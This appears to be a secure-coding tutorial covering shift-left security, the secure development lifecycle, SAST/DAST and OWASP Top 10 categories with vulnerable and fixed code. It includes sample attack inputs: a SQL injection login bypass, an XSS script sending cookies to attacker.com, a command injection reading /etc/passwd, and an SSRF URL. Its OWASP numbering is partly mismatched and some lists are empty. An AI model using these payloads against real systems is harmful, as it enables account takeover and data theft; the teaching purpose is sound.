

Traditionally, developers and security teams have been seen as separate, sometimes even adversarial. But that model is broken. The relationship between these two concepts is complex and has evolved significantly over the years.
Code Examples
Now let's look at what developers actually do day to day: they write code. And historically, the focus has been on making that code work correctly and be maintainable. This is what we call 'clean code.'
Here's the first example:
def c(x,y): return x+y Now, what does this code do?
Well, it defines a function called 'c' that takes two parameters, 'x' and 'y', and returns their sum.
But look at how much information is missing:
This is what we call 'bad coding practice.' It's hard to understand, and it's prone to errors. If someone else needs to use this function or fix a bug in it after six months from now, they'll have to spend time figuring out what it does. And when code is hard to understand, security vulnerabilities often hide in those murky waters.
Now look at the second example:
def calculate_sum(first_number: int, second_number: int) -> int:
\"\"\"Return the sum of two integers.\"\"\"
return first_number + second_numberThis is what we call 'clean code':
It's readable. The function name calculate_sum tells you exactly what it does.
The parameters first_number and second_number are descriptive.
The : int part is a type hint, telling anyone using this function that it expects integers.
The text in triple quotes is a docstring, a formal explanation of what the function does.
This code is easy to understand, easy to maintain, and less likely to have logical errors.
Now here's the critical point:
This clean code example is great for functionality and maintainability, but it says nothing about security.
The function simply adds two numbers. But imagine this function was part of a banking application. What if those numbers came from user input? What if a user tried to pass in a number so large it causes an overflow? What if they tried to pass in negative numbers to manipulate their account balance? The clean code doesn't address these security concerns.
So, a modern developer needs both: the ability to write clean, maintainable code AND the knowledge to write code that is resilient against attacks. A function can be perfectly clean and functional but still be insecure. For example, a login function can be beautifully written with clean code principles, but if it doesn't protect against brute force attacks or if it stores passwords in plain text, it's a security disaster waiting to happen.
Why is this security-focused mindset so critical now?
Think about a modern web application. It's not just a single program on a single server. It's a complex ecosystem. It includes:
The Critical Point: A vulnerability in ANY of these layers can compromise the entire application. You could write the most secure code in the world, but if your database is exposed to the public internet, or if you're using an outdated library with a known vulnerability, or if your cloud storage is misconfigured, your application is still at risk.
Therefore, securing the application requires every developer to adopt a security-focused mindset about the entire system, not just a code that functions correctly.
This brings us to a key point: 'Shifting the security into the Developers mindset is considered a shift left strategy.'
The 'Shift Left' Concept:
Imagine a timeline of a software project. It flows from left to right:
[Planning] → [Design] → [Development] → [Testing] → [Deployment]Historically, security was 'shifted right', which means security activities happened at the very end of the process, usually during the testing phase or just before deployment.
A security team would do a penetration test on the nearly-finished application, find problems, and then everyone would scramble to fix them. This is expensive, time-consuming, and often leads to conflicts between security and development teams.
‘Shift Left’ means moving security considerations earlier in the timeline, to the 'left'.
It means bringing security practices and thinking into the Design and Development phases.
Instead of waiting for a tester to find a bug, the developer is thinking about and preventing that bug as they write the code. That's what it means to shift security into the developer's mindset.
The goal is to find and fix security issues as early as possible, when they're cheap and easy to fix, rather than at the end when they're expensive and difficult to fix. This is what it means to shift security into the developer's mindset.
TIME [Planning] → [Design] → [Coding] → [Testing] → [Deployment]
| | | | |
↓ ↓ ↓ ↓ ↓
[Threat [Architecture [Secure [Automated [Final
Modeling] Review] Coding] Testing] Check]
| | | | |
+------------+-----------+-----------+-----------+
↓
(Finding flaws early. Fixing costs $.
Launch on time.)First: Treating security as a mindset rather than an afterthought helps organizations prevent issues early and avoid expensive fixes later.
For example, in a traditional shift-right approach, an e-commerce site might be fully built before testing reveals an SQL injection flaw in the search feature. Fixing this late requires redesigning code, retesting, and delaying release. In a shift-left approach, threat modeling during design leads the team to use parameterized queries from the start, preventing the vulnerability entirely.
The cost difference is huge: a flaw that costs about $100 to fix during design can rise to $100,000+ if discovered after deployment, especially if it gets exploited and causes a data breach.
Second: It promotes shared responsibility. Instead of security being a separate team that blocks releases, everyone developers, operations, QA, and product managers works together to build secure systems. This reduces friction, improves collaboration, and leads to more resilient and trustworthy software.
So, we know we need to integrate security into development. But how do we do that systematically? We need a process. That's where the Secure Software Development Lifecycle comes in.
SDLC is a practical framework that software teams use that helps them building a high-quality, reliable software.
The traditional SDLC consists of these five main phases:
Now here's the crucial point: 'Security must be embedded into every phase of the SDLC to ensure the development of a robust and secure system.'
This is what transforms a regular SDLC into a Secure SDLC (SSDLC). Security isn't a separate phase that happens after deployment or during testing. Security is a thread that runs through every single phase.
So as an example, In planning, you think about security requirements. In design, you do threat modeling. In development, you follow secure coding practices. In testing, you do security testing. In deployment, you ensure secure configuration.
Planning Phase:
We ask, "What security features do we need?"
For example, does this application handle personal data?
Then we need to plan for encryption, access controls, and auditing.
If we know we need to implement multi-factor authentication (MFA), we need to budget for that development time, the licensing costs for an MFA service, and the engineers to integrate it.
Designing Phase:
Threat modeling is a structured process of identifying, understanding, and documenting potential threats to your application.
It's about analyzing the attack surface (all the points where an attacker could interact with the system (like a login form, an API endpoint, a file upload feature)).
You then identify potential attack entry points and think about what could go wrong.
This proactive analysis helps you design security into the architecture from the start, rather than trying to bolt it on later.
By doing this work during design, you avoid the situation where a developer builds a file upload feature without thinking about security, and then you have to add security controls later.
Development Phase:
Automated ScanningSAST (Static Application Security Testing) tools analyze source code without running it. They look for patterns that indicate vulnerabilities things like using dangerous functions, missing input validation, or hardcoded credentials. These tools can be integrated into the developer's workflow, so every time code is committed, it's automatically scanned.
SCA (Software Composition Analysis) tools analyze the third-party components your application uses. They check all your open-source libraries against databases of known vulnerabilities. If you're using a version of a library with a known vulnerability, the tool alerts you.
Testing Phase
The code is written, and now we need to verify that it works correctly and securely.
Two main security activities that happen during this phase:
First: Penetration Testing
Why do it during testing? By doing pen testing in the testing phase, you can identify and fix vulnerabilities before the application goes live. This is much better than finding them after deployment, when they might be exploited by real attackers.
They document everything they find and provide a report to the development team."
Second: Dynamic Application Security Testing (DAST)
What is DAST?
DAST tools test the running application from the outside, just like an attacker would. They don't have access to the source code. They probe the application, send malicious payloads, and observe how it responds.
How is DAST different from SAST?
What does DAST test for? DAST tools look for vulnerabilities like:
The key point about the testing phase is that it's the last line of defense before deployment. Any vulnerabilities found here can still be fixed before they affect real users.
Deployment Phase
This is where the application goes live and real users start interacting with it.
Security's Role: This is tricky because organizations are very hesitant to do any active testing on live production systems.
Imagine if a penetration test accidentally caused your production system to crash. Real customers would be affected. You might lose sales, damage your reputation, and have to explain to management why you took the site down.
However, there’s a modern exception: Bug Bounty Programs.
What is a bug bounty program? A bug bounty program is when a company invites security researchers often called 'white hat' hackers to test their production systems and report any vulnerabilities they find. In exchange, the company pays them a reward, or 'bounty,' based on the severity of the vulnerability.
Why would companies do this? It seems risky, right? You're inviting strangers to attack your live systems. But there are good reasons:
How do bug bounty programs work?
This approach turns potential adversaries into allies who help make your systems more secure.
The OWASP definition: 'A threat model is a structured representation of all the information that affects the security of an application. In essence, it is a view of the application and its environment through the lens of security.'
The Four Question Framework:
OWASP provides a simple but powerful framework for organizing threat modeling: four questions that guide the entire process.
Question 1: What are we working on?
This is about understanding the system. Before you can identify threats, you need to know what you're dealing with. This involves:
For example, for an e-commerce site, you might diagram:
Question 2: What can go wrong?
This is the brainstorming part. You think like an attacker and ask: 'How could someone attack this system?' There are structured approaches to this, like:
STRIDE, developed by Microsoft:
Question 3: What are we going to do about it?
Once you've identified threats, you need to decide how to address them. There are typically four options:
For each threat you identified, you document your decision and any planned mitigations.
Question 4: Did we do a good job?
After you've built the system and done testing, you look back:
SAST works simply by 'Analyzing the developed code statically'.
What does 'statically' mean?
It means we're analyzing the code without running it. We're looking at the source code itself the text that the developer wrote and analyzing it for potential security issues.
'SAST tools help developers and security engineers detect vulnerabilities by analyzing the application's source code, identifying sources and sinks, and tracing how data flows through the code.'
What is a source? A source is where data enters the application. Common sources include:
From a security perspective, data from sources is potentially dangerous because it comes from outside the application and could be malicious. We call this 'tainted' data.
What is a sink? A sink is where data is used in a potentially dangerous way.
Common sinks include:
When the data from a source flows into a sink without proper validation or sanitization, that's a potential vulnerability.
How SAST Tools Work:
Taint tracking is about tracing how data travels from a source to a sink.
Example of SAST in Action:
Consider this pseudo-code:
username = request.getParameter("username")
query = "SELECT * FROM users WHERE username = '" + username + "'"
database.execute(query)A SAST tool would:
DAST works by 'Analyzing the developed code dynamically through simulation of real-world attack payloads without needing access to the source code.'
What does 'dynamically' mean? Unlike SAST, which analyzes static source code, DAST tests the running application.
DAST tools are 'black box' testers. They don't know anything about your code. They interact with the application exactly like an attacker would through the user interface and APIs.
How DAST Tools Work:
What is OWASP? OWASP is a nonprofit foundation that works to improve the security of software. It's not a company; it's a community of experts, companies, and volunteers from around the world who create freely available resources. Everything OWASP produces is free and open to anyone.
Input Validation:
SQL Injection:
Imagine a simple login form. The developer writes code like this (in pseudo-code):
username = request.getParameter("username")
password = request.getParameter("password")
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
database.execute(query)A normal user might enter:
The query becomes:
SELECT * FROM users WHERE username = 'john' AND password = 'mypassword'This works fine.
But an attacker might enter:
Now the query becomes:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'The password part becomes password = '' OR '1'='1'.
Since '1'='1' is always true, the WHERE clause becomes username = 'admin' AND (false OR true) which is just username = 'admin' AND true.
The database returns the admin user without needing the correct password. The attacker is logged in as admin.
This happens because the input was treated as code, not as data. The single quote the attacker entered closed the string literal in the SQL statement, allowing them to inject their own SQL logic.
How Input Validation Prevents This:
Proper input validation would handle this in several ways:
Example (Python Flask):
username = request.form.get("username")
password = request.form.get("password")
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))Now even if the attacker enters ' OR '1'='1, it's treated as a literal string value to compare against the password column, not as part of the SQL logic. The database will look for a user whose password literally is ' OR '1'='1, which almost certainly doesn't exist.
Escaping: If you can't use parameterized queries, you can escape special characters. In SQL, you might escape single quotes by doubling them (' becomes ''). But escaping is error-prone and should be a last resort.
The key insight: Input validation is about never trusting data from outside your application. Every piece of external data must be verified before use.
There are key principles related to input validation:
1. "Conduct all input validation on a trusted system (server side not client side)"
Why not client-side only?
Imagine you have a registration form with a field for "age." You might add JavaScript validation that checks if the age is between 1 and 120. This provides a good user experience they get immediate feedback without a page refresh.
But you cannot rely on this for security. Why? Because an attacker can:
All of these bypass client-side validation entirely.
The rule: Client-side validation is for user experience. Server-side validation is for security. You must validate every piece of input on the server, regardless of what happened on the client.
2. "Identify all data sources and classify them into trusted and untrusted"
This is about having a threat model for data. You need to know where your data comes from and whether you can trust it.
Trusted sources might include:
Untrusted sources (most data) include:
The principle: Treat all data from untrusted sources as potentially malicious until proven otherwise.
3. "Validate all data from untrusted sources (databases, file streams, etc)"
Notice that databases are listed as untrusted sources. Why? Because even though the database is your own system, the data in it might have come from untrusted sources. If an attacker compromised your application earlier, they might have inserted malicious data into the database. Later, when your application reads that data, it could be exploited.
This is called "stored XSS" or "second-order SQL injection." The attack happens in two phases:
So you must validate data coming out of the database just as carefully as data coming directly from users.
Output Encoding:
Description: "Converting application output into a safe format before displaying it to prevent attacks like Cross-Site Scripting (XSS)."
XSS Example:
Imagine a comment feature on a blog. Users can post comments, and those comments are displayed to other users. The developer writes code like this:
comment = request.getParameter("comment")
// Save comment to database
// Later, when displaying comments:
output = "<div class='comment'>" + comment + "</div>"
write(output)A normal user might comment: "Great article!" The output becomes:
<div class='comment'>Great article!</div>But an attacker might comment:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>Now when another user views the page, the output becomes:
<div class='comment'><script>document.location='http://attacker.com/steal?cookie='+document.cookie</script></div>The user's browser sees this <script> tag and executes it. The script sends the user's cookies (which might contain their session ID) to the attacker's server. The attacker can now impersonate that user.
How Output Encoding Prevents This:
Output encoding converts special characters into their safe HTML entities. For example:
After encoding, the attacker's comment becomes:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>When the browser renders this, it displays it as plain text: <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>. The browser does not interpret it as executable code because the angle brackets are encoded.
The key insight: Output encoding ensures that data is treated as data, not as executable code, when it reaches the user's browser."
(Access Control)
Common Access Control Failures:
Insecure Direct Object References (IDOR): This is one of the most common access control vulnerabilities. It occurs when an application exposes a direct reference to an internal object, like a database key, and fails to check whether the user is authorized to access that object.
Example:
A banking application uses URLs like:
https://bank.com/statement?id=12345A user can view their own statement with id=12345. But what happens if they change the URL to:
https://bank.com/statement?id=12346If the application doesn't check whether the logged-in user owns statement 12346, the user might see someone else's statement. That's an IDOR vulnerability.
Prevention:
Error Handling and Logging:
Description: "Preventing errors from leaking sensitive information while securely logging events for monitoring and incident response."
Error Handling:
When things go wrong in your application, how you handle errors can have significant security implications.
What NOT to do:
Never display detailed error information to users. This includes:
Why is this dangerous?
Attackers use error messages to gather information about your system:
All of this information helps attackers refine their attacks.
What TO do:
Example of good error handling:
try:
result = database.query(user_input)
except DatabaseError as e:
# Log the detailed error internally
logger.error(f"Database error for user{user_id}:{str(e)}")
# Show generic message to user
return "An error occurred. Our team has been notified."A01:2021 - Broken Access Control
Description: "Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data or performing a business function outside the user's limits."
Why is this number one? In the 2021 update, Broken Access Control moved from the fifth position to the top. Why? Because data showed it was the most common and most impactful vulnerability. In the data collected, access control issues appeared in over 94% of applications tested.
What does this look like in practice?
Example 1: Horizontal Privilege Escalation
A user can view their own bank statement at:
https://bank.com/statement?account=12345They change the URL to:
https://bank.com/statement?account=12346If they can see someone else's statement, that's broken access control. The user is still a regular user (not an admin), but they can access data belonging to other users at the same privilege level. This is called "horizontal" privilege escalation.
Example 2: Vertical Privilege Escalation
A regular user discovers they can access the admin panel:
https://app.com/adminThey're not an admin, but the application doesn't check properly. This is "vertical" privilege escalation moving to a higher privilege level.
Example 3: Missing Function-Level Access Control
The application has an API endpoint for deleting users:
POST /api/admin/deleteUserThe application checks authentication (you must be logged in) but not authorization (you must be an admin). Any logged-in user can call this endpoint and delete users.
Example 4: Insecure Direct Object References (IDOR)
We discussed this earlier. It's a specific type of broken access control where an application exposes direct references to internal objects and fails to verify authorization.
Prevention Strategies:
A03:2021 - Injection
Category: "Injection"
Description: "Injection occurs when untrusted input is sent to an interpreter as part of a command or query. Attackers exploit this by crafting malicious input that alters the intended behavior of the system."
An interpreter is a program that executes commands or instructions written in a particular language. In computing, interpreters exist at many levels:
When you send data to any of these interpreters, there's a critical question: Is the data being treated as...
Injection vulnerabilities occur when an attacker can trick an interpreter into treating their input as code rather than as data.
SQL Injection: The Classic Example
The Vulnerable Code:
Imagine a simple login function in a web application:
def login(username, password):
# DANGEROUS: Building SQL query by string concatenation
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
# Send this query to the database
result = database.execute(query)
# If we get a result, login succeeds
if result:
return "Login successful"
else:
return "Login failed"Normal Usage:
A legitimate user enters:
The query becomes:
SELECT * FROM users WHERE username = 'john' AND password = 'mypassword'The database looks for a user named 'john' with that password. If found, login succeeds.
Attack Scenario:
Now an attacker enters:
The query becomes:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'Let's analyze what happened here. The attacker entered a single quote (') which closed the string literal in the SQL statement. Then they added OR '1'='1', which is always true.
The database interprets this as:
Since the second condition is always true, the entire WHERE clause evaluates to true for EVERY row in the users table. The database returns the first user it finds—typically the admin user.
The attacker is now logged in as admin without knowing the password.
Why does this work? Because the application failed to separate code from data. The attacker's input was incorporated directly into the SQL statement and interpreted as part of the SQL code, not as a data value.
Other Types of Injection Attacks
Command Injection:
An application might allow users to ping a server to check if it's online:
# DANGEROUS: Using user input directly in a system command
def ping_host(hostname):
command = "ping -c 4 " + hostname
output = os.system(command)
return outputNormal usage: User enters google.com
Command becomes: ping -c 4 google.com (safe)
Attack: User enters google.com; cat /etc/passwd
Command becomes: ping -c 4 google.com; cat /etc/passwd
The semicolon allows the attacker to chain multiple commands. Now the system runs the ping AND then displays the password file.
A04:2021 - Insecure Design
Category: "Insecure Design"
Description: "Refers to flaws in the architecture or design of an application that fail to implement proper security controls. Unlike coding errors, these are fundamental weaknesses in how the system is built, leaving it vulnerable to attacks."
This is a critical distinction that I want to emphasize: Insecure Design is NOT about coding mistakes. It's about fundamental flaws in how the system was conceived and architected.
Examples of Insecure Design
Example : The "Hidden" Admin Panel
Scenario: Developers create an admin panel at /admin but don't add authentication because "users won't find it."
The Insecure Design: Security through obscurity is not security. Attackers have tools that scan for common paths like /admin. The design relies on secrecy rather than proper controls.
Why it's a design flaw: The fundamental approach is wrong. The design should include proper authentication, not rely on the URL being secret.
Proper Design: All administrative functions should require authentication and proper authorization, regardless of the URL.
What Makes a Design Insecure?
Insecure design occurs when security wasn't considered during the architecture and design phases. This includes:
1. Missing Threat Modeling
The team never asked "What could go wrong?" during design. They built features based on functionality alone, without considering how attackers might abuse them.
2. Inadequate Security Requirements
Security requirements weren't gathered or weren't incorporated into the design. For example:
3. Fundamental Architecture Flaws
The core architecture has problems that can't be fixed by patching code:
4. Missing Security Controls by Design
The design simply omits necessary security controls:
A05:2021 - Vulnerable and Outdated Components
Description: "Vulnerable and Outdated Components occur when an application uses libraries, frameworks, or software modules that are no longer supported, contain known security flaws, or are out of date."
Why is this a critical risk?
Modern applications are built on a mountain of third-party components. A typical web application might use:
Each of these components has its own vulnerabilities. If any one of them has a known vulnerability that you haven't patched, your application is vulnerable.
Example 1: Using Outdated Libraries
Your application uses jQuery version 1.4, released in 2010. It has known XSS vulnerabilities. An attacker finds a way to inject script that exploits these vulnerabilities.
Example 2: Unmaintained Components
You're using a library whose developers have stopped maintaining it. New vulnerabilities are discovered, but no patches are released. You're stuck with an increasingly vulnerable component.
Example 3: Transitive Dependencies
Your application directly uses Library A. Library A depends on Library B. Library B has a vulnerability. Even though you don't directly use Library B, your application is vulnerable because it's pulled in as a dependency.
Example 4: Outdated Underlying Software
Your application runs on a server with an outdated operating system that hasn't been patched in years. An attacker compromises the server through a known OS vulnerability, then attacks your application from within.
A06:2021 - Identification and Authentication Failures
Description: "Failures related to identification and authentication can allow attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently."
What does this look like in practice?
Example 1: Weak Password Policies
The application allows passwords like "123456" or "password." Attackers can easily guess these or use credential stuffing attacks.
Example 2: No Brute-Force Protection
The application doesn't limit login attempts. Attackers can try thousands of passwords against an account until they find the right one.
Example 3: Weak Session Management
Session IDs are predictable or not properly protected. An attacker can guess or steal a session ID and impersonate a user.
Example 4: No Multi-Factor Authentication
Especially for sensitive accounts (admins, financial systems), lack of MFA means a stolen password is all an attacker needs.
Example 5: Credential Stuffing
Attackers use credentials stolen from other sites (because users reuse passwords) to try logging in. Without protections like MFA or breach detection, these attempts succeed.
A07:2021 - Software and Data Integrity Failures
Description: "Software and Data Integrity Failures occur when an application fails to ensure that critical code and data are protected from unauthorized changes or tampering. This often involves missing integrity checks, insecure update mechanisms, or reliance on untrusted sources."
Why is this a new category for 2021?
This category was added in response to major supply chain attacks like the SolarWinds breach. It recognizes that integrity ensuring software and data haven't been tampered with is as important as confidentiality and availability.
What does this look like in practice?
Example 1: Insecure Update Mechanisms
Your application has an auto-update feature that downloads updates over HTTP without verifying their integrity. An attacker performs a man-in-the-middle attack and replaces the legitimate update with malicious code. Users download and install malware thinking it's a genuine update.
Example 2: SolarWinds-Style Supply Chain Attack
Attackers compromise a software vendor's build system and inject malicious code into the software that customers download. Customers trust the software because it comes from a legitimate source, but it contains a backdoor.
Example 3: Using Untrusted Libraries
A developer downloads a library from an unofficial source (like a random GitHub repo) instead of the official package repository. The library might contain malicious code.
A09:2021 - Server-Side Request Forgery (SSRF)
Description: "SSRF occurs when an attacker tricks a server into making unintended requests to internal or external resources, often bypassing network restrictions or firewall protections. The attacker leverages the server's trust to access sensitive systems or data."
What is SSRF?
In an SSRF attack, the attacker makes the vulnerable server make requests on their behalf. The server, because it's trusted, can access resources that the attacker cannot reach directly.
How does it work?
Imagine an application that lets users fetch a profile picture from a URL:
https://example.com/fetch?url=https://avatars.com/user.jpgThe server fetches whatever URL is provided and returns the content.
An attacker changes the URL to:
https://example.com/fetch?url=http://localhost:8080/admin/delete_allIf the server isn't careful, it will make a request to localhost:8080/admin/delete_all. Since the request comes from the server itself, it might:
Why is SSRF dangerous?
SSRF can lead to:
A10:2021 - Security Misconfiguration
Description: "Security Misconfiguration occurs when an application, server, or system is left in an insecure state due to improper settings, defaults, or missing patches."
Why is this so common?
Security misconfiguration is consistently in the Top 10 because it's easy to do and happens in many ways. It's essentially human error in configuration.
What does this look like in practice?
Example 1: Default Credentials
You install a new database server and forget to change the default password. Attackers know all the default passwords and can log in with admin access.
Example 2: Directory Listing Enabled
Your web server is configured to show directory listings when no index file exists. Attackers can browse directories and find files they shouldn't see.
Example 3: Verbose Error Messages
Your application displays detailed error messages with stack traces, database queries, and file paths. Attackers use this information to refine their attacks.
Example 4: Unnecessary Features Enabled
Your application server comes with example applications, management consoles, and debugging interfaces enabled by default. These provide additional attack surfaces.